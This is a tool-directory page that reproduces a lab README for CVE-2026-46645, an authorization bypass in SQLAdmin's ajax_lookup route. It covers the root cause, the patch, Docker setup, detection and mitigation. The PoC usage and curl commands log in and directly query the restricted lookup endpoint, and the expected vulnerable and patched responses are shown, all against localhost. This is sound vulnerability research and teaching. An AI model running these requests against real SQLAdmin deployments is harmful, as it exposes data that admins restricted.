Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-46645-Analysis-Lab | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-46645-analysis-lab
Vulnerability AnalysisWeb Application ExploitationAPI Security TestingPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-46645-analysis-lab

CVE-2026-46645-Analysis-Lab

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
2 months agoNot yet reviewed

CVE-2026-46645 - SQLAdmin ajax_lookup Authorization Bypass

Executive Summary

This repository contains a local Docker lab for reproducing CVE-2026-46645, an authorization bypass vulnerability affecting SQLAdmin's ajax_lookup endpoint.

SQLAdmin is an admin interface for SQLAlchemy models in Starlette and FastAPI applications. The vulnerable behavior occurs when an application restricts a ModelView with is_accessible(request), but SQLAdmin's ajax_lookup route does not enforce the same access-control decision before returning lookup results.

This lab compares two SQLAdmin versions:

ServiceSQLAdmin versionPurposeURL
vuln0.25.0Vulnerable targethttp://127.0.0.1:8001
patched0.25.1Patched comparison targethttp://127.0.0.1:8002

The demonstrated vulnerability chain is:

root@kitploit:~
Authenticated low-privileged user
→ restricted SQLAdmin ModelView
→ ModelView.is_accessible(request) returns False
→ user directly requests the ajax_lookup endpoint
→ SQLAdmin 0.25.0 returns relationship lookup data
→ SQLAdmin 0.25.1 blocks the same request with HTTP 403

The lab intentionally uses a simple Report / SecretProject data model to make the authorization bypass easy to understand. These model names are not the root cause of the vulnerability. They are only used to create a controlled reproduction condition.

This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.

Verified Facts

Assumptions and Unknowns

This lab uses sqladmin==0.25.0 as the vulnerable baseline and sqladmin==0.25.1 as the patched baseline.

The lab focuses on the authorization bypass condition where:

root@kitploit:~
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.

The lab does not attempt to reproduce every possible SQLAdmin deployment pattern. It intentionally creates a small Starlette application with one restricted admin view so the behavior difference between vulnerable and patched versions is easy to verify.

The Report and SecretProject models are lab-only objects. They are not part of SQLAdmin itself.

The PoC does not attempt privilege escalation, data modification, session theft, external callbacks, persistence, or attacks against non-lab systems.

Root Cause Summary

The root cause is in SQLAdmin's upstream Admin.ajax_lookup() route, not in this lab's application code.

SQLAdmin allows developers to restrict access to admin views by overriding:

root@kitploit:~
ModelView.is_accessible(request)

Other admin routes are expected to enforce this access-control decision before allowing the request to continue. For example, routes such as list, create, details, delete, edit, and export check whether the current request is allowed to access the target ModelView.

The vulnerable ajax_lookup route did not enforce the same access-control decision.

The ajax_lookup endpoint is used by SQLAdmin's form_ajax_refs feature to dynamically load relationship values. Its endpoint format is:

root@kitploit:~
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

In the vulnerable version, ajax_lookup() resolves the target ModelView, reads the lookup field name and search term from the query string, then calls the AJAX loader and returns JSON results. The missing security step is that it does not first verify whether the current request is allowed to access that ModelView.

The security impact is that an authenticated user may be blocked from accessing a restricted admin view through normal UI routes, but can still directly request the AJAX lookup endpoint for that view and receive relationship lookup data.

SQLAdmin 0.25.1 fixes this by enforcing access control inside ajax_lookup(). The patched route checks model_view.is_accessible(request) and returns HTTP 403 when the target view is not accessible.

This lab defines ReportAdmin.is_accessible(request) to return False only to reproduce the vulnerable condition. The lab code is not the root cause. It is a controlled test harness that proves whether SQLAdmin's upstream ajax_lookup() route respects the access-control decision.

Expected behavior difference:

root@kitploit:~
sqladmin 0.25.0 -> HTTP 200 with JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden

Source Patch Summary

The meaningful upstream patch is the addition of authentication and authorization enforcement to Admin.ajax_lookup().

The patched behavior is equivalent to:

root@kitploit:~
@login_required
async def ajax_lookup(self, request):
    identity = request.path_params["identity"]
    model_view = self._find_model_view(identity)

    if not model_view.is_accessible(request):
        raise HTTPException(status_code=403)

    name = request.query_params.get("name")
    term = request.query_params.get("term")
    ...

The key authorization check is:

root@kitploit:~
if not model_view.is_accessible(request):
    raise HTTPException(status_code=403)

The lab demonstrates that this check is absent from the vulnerable version and present in the patched version.

Lab Architecture

The lab runs two isolated Starlette applications through Docker Compose.

root@kitploit:~
.
├── app/
│   ├── __init__.py
│   └── main.py
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
├── requirements/
│   ├── patched.txt
│   └── vuln.txt
└── vuln/
    └── Dockerfile

The two services run the same application code but install different SQLAdmin versions:

ServicePackage versionPort mapping
vulnsqladmin==0.25.0127.0.0.1:8001 -> 8000
patchedsqladmin==0.25.1

The application creates two SQLAlchemy models:

root@kitploit:~
SecretProject
Report

Report has a relationship to SecretProject:

root@kitploit:~
Report.project -> SecretProject

ReportAdmin defines an AJAX relationship lookup:

root@kitploit:~
form_ajax_refs = {
    "project": {
        "fields": ("name",),
        "order_by": "name",
        "limit": 10,
    }
}

The restricted admin view is:

root@kitploit:~
class ReportAdmin(ModelView, model=Report):
    def is_accessible(self, request):
        return False

This intentionally creates the condition needed to test whether SQLAdmin's ajax_lookup() route enforces is_accessible().

The vulnerable endpoint used by the PoC is:

root@kitploit:~
/admin/report/ajax/lookup?name=project&term=Secret

Default lab credentials:

root@kitploit:~
username: analyst
password: lab-password

Requirements

  • Docker Desktop or Docker Engine
  • Docker Compose v2
  • Python 3
  • Python requests package for running the PoC from the host
  • curl for manual HTTP reproduction
  • Internet access during image build to install Python packages from PyPI

Install the PoC dependency on the host if needed:

root@kitploit:~
python3 -m pip install requests

Quick Start

Build and start the lab:

root@kitploit:~
docker compose down --remove-orphans
docker compose up --build -d

Check container status:

root@kitploit:~
docker compose ps

Expected exposed services:

root@kitploit:~
Vulnerable target: http://127.0.0.1:8001
Patched target:    http://127.0.0.1:8002

Check health endpoints:

root@kitploit:~
curl -i http://127.0.0.1:8001/health
curl -i http://127.0.0.1:8002/health

Both should return:

root@kitploit:~
{"status":"ok"}

Open the admin UI in a browser if desired:

root@kitploit:~
http://127.0.0.1:8001/admin
http://127.0.0.1:8002/admin

Login credentials:

root@kitploit:~
analyst / lab-password

PoC Usage

Run the PoC against the vulnerable service:

root@kitploit:~
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"

Run the same PoC against the patched service:

root@kitploit:~
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"

The PoC performs these steps:

root@kitploit:~
1. Send POST /admin/login with the lab credentials.
2. Keep the returned session cookie.
3. Send GET /admin/report/ajax/lookup?name=project&term=Secret.
4. Print the HTTP status, content type, response body, and interpretation.

The PoC intentionally prints the request and response flow so the authorization bypass is visible to the reader.

Manual HTTP Reproduction with curl

You can reproduce the vulnerability manually without using poc/poc.py.

This is useful when you want to show the exact HTTP flow:

root@kitploit:~
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses

Vulnerable Target

Set the vulnerable target URL:

root@kitploit:~
TARGET="http://127.0.0.1:8001"
COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"

Login as the lab user and save the session cookie:

root@kitploit:~
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"

Send the restricted ajax_lookup request:

root@kitploit:~
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

Expected vulnerable result:

root@kitploit:~
HTTP/1.1 200 OK
content-type: application/json

Expected body:

root@kitploit:~
{
  "results": [
    {
      "id": "1",
      "text": "Secret Project Alpha"
    },
    {
      "id": "2",
      "text": "Secret Project Beta"
    }
  ]
}

This confirms the vulnerable behavior because the request is authenticated, ReportAdmin.is_accessible(request) returns False, but SQLAdmin 0.25.0 still returns lookup data.

Patched Target

Set the patched target URL:

root@kitploit:~
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"

Login as the same lab user:

root@kitploit:~
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"

Send the same restricted ajax_lookup request:

root@kitploit:~
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

Expected patched result:

root@kitploit:~
HTTP/1.1 403 Forbidden

This confirms the patched behavior because SQLAdmin 0.25.1 enforces the missing ModelView.is_accessible(request) check inside ajax_lookup().

One-line Comparison

Vulnerable service:

root@kitploit:~
curl -s -L \
  -c /tmp/cve-2026-46645-vuln.cookies \
  -b /tmp/cve-2026-46645-vuln.cookies \
  -X POST http://127.0.0.1:8001/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-vuln.cookies \
  "http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"

Patched service:

root@kitploit:~
curl -s -L \
  -c /tmp/cve-2026-46645-patched.cookies \
  -b /tmp/cve-2026-46645-patched.cookies \
  -X POST http://127.0.0.1:8002/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-patched.cookies \
  "http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"

Expected comparison:

root@kitploit:~
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden

Expected Output

Vulnerable target:

root@kitploit:~
================================================================================
Target: sqladmin 0.25.0 vulnerable
================================================================================
Base URL      : http://127.0.0.1:8001
Login URL     : http://127.0.0.1:8001/admin/login
Lookup URL    : http://127.0.0.1:8001/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8001/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8001/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 200
Content-Type : application/json

Body:
{
  "results": [
    {
      "id": "1",
      "text": "Secret Project Alpha"
    },
    {
      "id": "2",
      "text": "Secret Project Beta"
    }
  ]
}

================================================================================
Step 3 - Interpretation
================================================================================
[VULNERABLE SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 200 and JSON results.
This means an authenticated user could query lookup data even though
ReportAdmin.is_accessible(request) returned False.

Patched target:

root@kitploit:~
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL      : http://127.0.0.1:8002
Login URL     : http://127.0.0.1:8002/admin/login
Lookup URL    : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8002/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 403
Content-Type : text/html; charset=utf-8

================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.

How the PoC Works

The PoC uses the Python requests library and a persistent requests.Session() object.

First, it authenticates to SQLAdmin:

root@kitploit:~
POST /admin/login

with the lab credentials:

root@kitploit:~
analyst / lab-password

After login, the session object keeps the returned session cookie.

Then the PoC sends the restricted AJAX lookup request:

root@kitploit:~
GET /admin/report/ajax/lookup?name=project&term=Secret

In the lab application, this request targets ReportAdmin.

ReportAdmin is intentionally inaccessible:

root@kitploit:~
def is_accessible(self, request):
    return False

This is the lab condition. It is not the upstream vulnerability.

The security question being tested is:

root@kitploit:~
Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?

On SQLAdmin 0.25.0, the endpoint returns HTTP 200 and JSON lookup results. This confirms the vulnerable behavior.

On SQLAdmin 0.25.1, the endpoint returns HTTP 403. This confirms the patched behavior.

Useful Verification Commands

Check running containers:

root@kitploit:~
docker compose ps

Check service logs:

root@kitploit:~
docker compose logs vuln patched

Check installed SQLAdmin versions:

root@kitploit:~
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin

Expected versions:

root@kitploit:~
vuln    -> Version: 0.25.0
patched -> Version: 0.25.1

Run the PoC again:

root@kitploit:~
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"
root@kitploit:~
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"

Save evidence output:

root@kitploit:~
mkdir -p evidence

python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable" \
  | tee evidence/poc-vuln-0.25.0.txt

python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched" \
  | tee evidence/poc-patched-0.25.1.txt

docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt

Inspect the installed vulnerable source:

root@kitploit:~
docker compose exec -T vuln python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY

Inspect the installed patched source:

root@kitploit:~
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY

The vulnerable version should not enforce model_view.is_accessible(request) inside ajax_lookup().

The patched version should include an authorization check equivalent to:

root@kitploit:~
if not model_view.is_accessible(request):
    raise HTTPException(status_code=403)

Detection and Monitoring

In a real application using SQLAdmin, suspicious activity may appear as direct requests to AJAX lookup endpoints:

root@kitploit:~
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

For this lab, useful log indicators include:

root@kitploit:~
GET /admin/report/ajax/lookup?name=project&term=Secret

Expected vulnerable log pattern:

root@kitploit:~
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK

Expected patched log pattern:

root@kitploit:~
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden

Potential production monitoring ideas:

  • review direct access to /ajax/lookup endpoints,
  • compare lookup access against expected admin UI workflows,
  • monitor repeated lookup terms from low-privileged accounts,
  • review whether sensitive ModelView classes use form_ajax_refs,
  • verify whether restricted model views are still exposed through relationship lookups.

Mitigation and Patch Notes

Upgrade SQLAdmin to 0.25.1 or later.

The patch adds missing access-control enforcement to the ajax_lookup route. The patched endpoint checks whether the current request is allowed to access the target ModelView. If is_accessible(request) returns False, the request is blocked with HTTP 403.

Application-level hardening recommendations:

  • upgrade SQLAdmin to a patched version,
  • review all custom ModelView.is_accessible() implementations,
  • avoid exposing sensitive relationship lookups through form_ajax_refs unless needed,
  • test restricted admin views through both normal UI routes and AJAX lookup routes,
  • monitor access to /admin/*/ajax/lookup endpoints,
  • ensure admin authentication and session handling are configured correctly.

Cleanup

Stop and remove containers and networks:

root@kitploit:~
docker compose down --remove-orphans

Remove containers, networks, and anonymous volumes:

root@kitploit:~
docker compose down -v --remove-orphans

Remove locally built images if desired:

root@kitploit:~
docker image rm \
  cve-2026-46645-sqladmin-vuln:0.25.0 \
  cve-2026-46645-sqladmin-patched:0.25.1 \
  2>/dev/null || true

Remove evidence files if desired:

root@kitploit:~
rm -rf evidence/

Safety Boundaries

This lab is for local security research and controlled demonstration only.

Do not run the PoC against systems you do not own or do not have permission to test.

Do not use real credentials, production secrets, or external targets in this lab.

The PoC is intentionally limited to local Docker services such as:

root@kitploit:~
http://127.0.0.1:8001
http://127.0.0.1:8002

The PoC does not include payloads for credential theft, data modification, persistence, lateral movement, or external callbacks.

The goal is to demonstrate one specific authorization bypass condition in a controlled environment:

root@kitploit:~
authenticated user
+ restricted ModelView
+ ajax_lookup request
+ vulnerable version returns data
+ patched version returns 403

References

  • GitHub Advisory Database: SQLAdmin Authorization Bypass on ajax_lookup
    https://github.com/advisories/GHSA-54mc-gghv-4cfj

  • OSV Advisory: GHSA-54mc-gghv-4cfj / CVE-2026-46645
    https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj

  • SQLAdmin Release 0.25.1
    https://github.com/smithyhq/sqladmin/releases/tag/0.25.1

  • SQLAdmin Compare: 0.25.0 to 0.25.1
    https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1

  • SQLAdmin 0.25.0 application.py
    https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py

  • SQLAdmin 0.25.1 application.py
    https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py

  • SQLAdmin Authentication Tests
    https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py

  • SQLAdmin AJAX Tests
    https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py

  • PyPI: sqladmin
    https://pypi.org/project/sqladmin/

  • SQLAdmin GitHub Repository
    https://github.com/smithyhq/sqladmin

Download Tool
ClaimEvidenceHow to verify in this lab
SQLAdmin's ajax_lookup endpoint is the affected component.Public advisory describes the affected endpoint format as GET /{identity}/ajax/lookup?name=<field>&term=<query>.Run the PoC and observe requests to /admin/report/ajax/lookup?name=project&term=Secret.
SQLAdmin 0.25.0 is used as the vulnerable comparison target.The lab installs sqladmin==0.25.0 in the vuln container.Run docker compose exec -T vuln python -m pip show sqladmin.
SQLAdmin 0.25.1 is used as the patched comparison target.Public advisory and release notes identify 0.25.1 as the fixed version.Run docker compose exec -T patched python -m pip show sqladmin.
The root cause is in SQLAdmin's upstream Admin.ajax_lookup() route.The patch adds missing authentication and is_accessible(request) enforcement to ajax_lookup().Inspect Admin.ajax_lookup() inside both containers with the commands in this README.
The lab creates a restricted ModelView.ReportAdmin.is_accessible(request) intentionally returns False.Inspect app/main.py.
The PoC uses an authenticated session.The PoC first logs in to /admin/login, keeps the session cookie, then requests ajax_lookup.Run python3 poc/poc.py --base-url http://127.0.0.1:8001.
The vulnerable signal is data exposure.SQLAdmin 0.25.0 returns HTTP 200 and JSON lookup results from a restricted view.The vulnerable target should return Secret Project Alpha and Secret Project Beta.
The patched signal is access denial.SQLAdmin 0.25.1 returns HTTP 403 for the same authenticated request.The patched target should return 403 Forbidden.
127.0.0.1:8002 -> 8000